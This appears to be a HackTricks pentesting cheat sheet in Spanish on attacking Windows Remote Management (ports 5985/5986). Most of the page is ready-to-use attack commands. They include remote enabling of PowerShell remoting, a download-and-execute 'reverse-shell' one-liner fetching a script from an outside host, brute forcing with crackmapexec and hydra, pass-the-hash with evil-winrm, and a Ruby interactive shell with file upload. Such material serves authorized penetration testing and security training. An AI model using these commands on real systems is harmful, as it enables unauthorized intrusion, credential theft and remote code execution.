5985,5986 - Pentesting WinRM

Support HackTricks

Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights Engage with content that delves into the thrill and challenges of hacking

Real-Time Hack News Keep up-to-date with fast-paced hacking world through real-time news and insights

Latest Announcements Stay informed with the newest bug bounties launching and crucial platform updates

Join us on Discord and start collaborating with top hackers today!

WinRM

Windows Remote Management (WinRM) se destaca como un protocolo de Microsoft que permite la gestión remota de sistemas Windows a través de HTTP(S), aprovechando SOAP en el proceso. Está fundamentalmente impulsado por WMI, presentándose como una interfaz basada en HTTP para operaciones de WMI.

La presencia de WinRM en una máquina permite una administración remota sencilla a través de PowerShell, similar a cómo funciona SSH para otros sistemas operativos. Para determinar si WinRM está operativo, se recomienda verificar la apertura de puertos específicos:

  • 5985/tcp (HTTP)

  • 5986/tcp (HTTPS)

Un puerto abierto de la lista anterior significa que WinRM ha sido configurado, permitiendo así intentos de iniciar una sesión remota.

Iniciando una Sesión WinRM

Para configurar PowerShell para WinRM, se utiliza el cmdlet Enable-PSRemoting de Microsoft, configurando la computadora para aceptar comandos remotos de PowerShell. Con acceso elevado a PowerShell, se pueden ejecutar los siguientes comandos para habilitar esta funcionalidad y designar cualquier host como confiable:

Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *

Este enfoque implica agregar un comodín a la configuración de trustedhosts, un paso que requiere una consideración cuidadosa debido a sus implicaciones. También se señala que puede ser necesario alterar el tipo de red de "Pública" a "Trabajo" en la máquina del atacante.

Además, WinRM se puede activar de forma remota utilizando el comando wmic, como se demuestra a continuación:

wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"

Este método permite la configuración remota de WinRM, mejorando la flexibilidad en la gestión de máquinas Windows desde lejos.

Probar si está configurado

Para verificar la configuración de su máquina de ataque, se utiliza el comando Test-WSMan para comprobar si el objetivo tiene WinRM configurado correctamente. Al ejecutar este comando, debe esperar recibir detalles sobre la versión del protocolo y wsmid, indicando una configuración exitosa. A continuación se presentan ejemplos que demuestran la salida esperada para un objetivo configurado frente a uno no configurado:

  • Para un objetivo que está correctamente configurado, la salida se verá similar a esto:

Test-WSMan <target-ip>

La respuesta debe contener información sobre la versión del protocolo y wsmid, lo que significa que WinRM está configurado correctamente.

  • Por el contrario, para un objetivo no configurado para WinRM, esto resultaría en la ausencia de información detallada, destacando la falta de una configuración adecuada de WinRM.

Ejecutar un comando

Para ejecutar ipconfig de forma remota en una máquina objetivo y ver su salida, haz:

Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]

También puedes ejecutar un comando de tu consola PS actual a través de Invoke-Command. Supongamos que tienes localmente una función llamada enumeration y quieres ejecutarla en una computadora remota, puedes hacer:

Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]

Ejecutar un Script

Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]

Obtener reverse-shell

Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}

Obtener una sesión de PS

Para obtener un shell interactivo de PowerShell, utiliza Enter-PSSession:

#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)

La sesión se ejecutará en un nuevo proceso (wsmprovhost) dentro de la "víctima"

Forzando WinRM Abierto

Para usar PS Remoting y WinRM pero la computadora no está configurada, podrías habilitarlo con:

.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"

Guardar y Restaurar sesiones

Esto no funcionará si el idioma está constriñido en el ordenador remoto.

#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

#You can save a session inside a variable
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1

Dentro de estas sesiones, puedes cargar scripts de PS usando Invoke-Command

Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1

Errores

Si encuentras el siguiente error:

enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.

Intenta en el cliente (info de aquí):

winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'

¡Únete al servidor de HackenProof Discord para comunicarte con hackers experimentados y cazadores de bugs!

Perspectivas de Hacking Participa en contenido que profundiza en la emoción y los desafíos del hacking

Noticias de Hackeo en Tiempo Real Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real

Últimos Anuncios Mantente informado sobre las nuevas recompensas por bugs que se lanzan y actualizaciones cruciales de la plataforma

¡Únete a nosotros en Discord y comienza a colaborar con los mejores hackers hoy!

Conexión WinRM en Linux

Fuerza Bruta

Ten cuidado, forzar winrm podría bloquear a los usuarios.

#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt

#Just check a pair of credentials
# Username + Password + CMD command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm

Usando evil-winrm

gem install evil-winrm

Lee documentación en su github: https://github.com/Hackplayers/evil-winrm

evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.'  -i <IP>/<Domain>

Para usar evil-winrm para conectarse a una dirección IPv6, crea una entrada dentro de /etc/hosts configurando un nombre de dominio a la dirección IPv6 y conéctate a ese dominio.

Pasar el hash con evil-winrm

evil-winrm -u <username> -H <Hash> -i <IP>

Usando una máquina PS-docker

docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds

Usando un script de ruby

Código extraído de aquí: https://alamot.github.io/winrm_shell/

require 'winrm-fs'

# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
# https://alamot.github.io/winrm_shell/


conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)


class String
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end


command=""
file_manager = WinRM::FS::FileManager.new(conn)


conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end

Shodan

  • port:5985 Microsoft-HTTPAPI

Referencias

Comandos Automáticos de HackTricks

Protocol_Name: WinRM    #Protocol Abbreviation if there is one.
Port_Number:  5985     #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment        #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.

sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’

https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/

ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory        or -s to upload scripts (sherlock)
menu
invoke-binary `tab`

#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))

https://book.hacktricks.xyz/pentesting/pentesting-winrm

Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}

¡Únete al servidor de HackenProof Discord para comunicarte con hackers experimentados y cazadores de bugs!

Perspectivas de Hacking Participa en contenido que profundiza en la emoción y los desafíos del hacking

Noticias de Hackeo en Tiempo Real Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real

Últimos Anuncios Mantente informado sobre las nuevas recompensas por bugs que se lanzan y actualizaciones cruciales de la plataforma

Únete a nosotros en Discord y comienza a colaborar con los mejores hackers hoy mismo!

Apoya a HackTricks

Last updated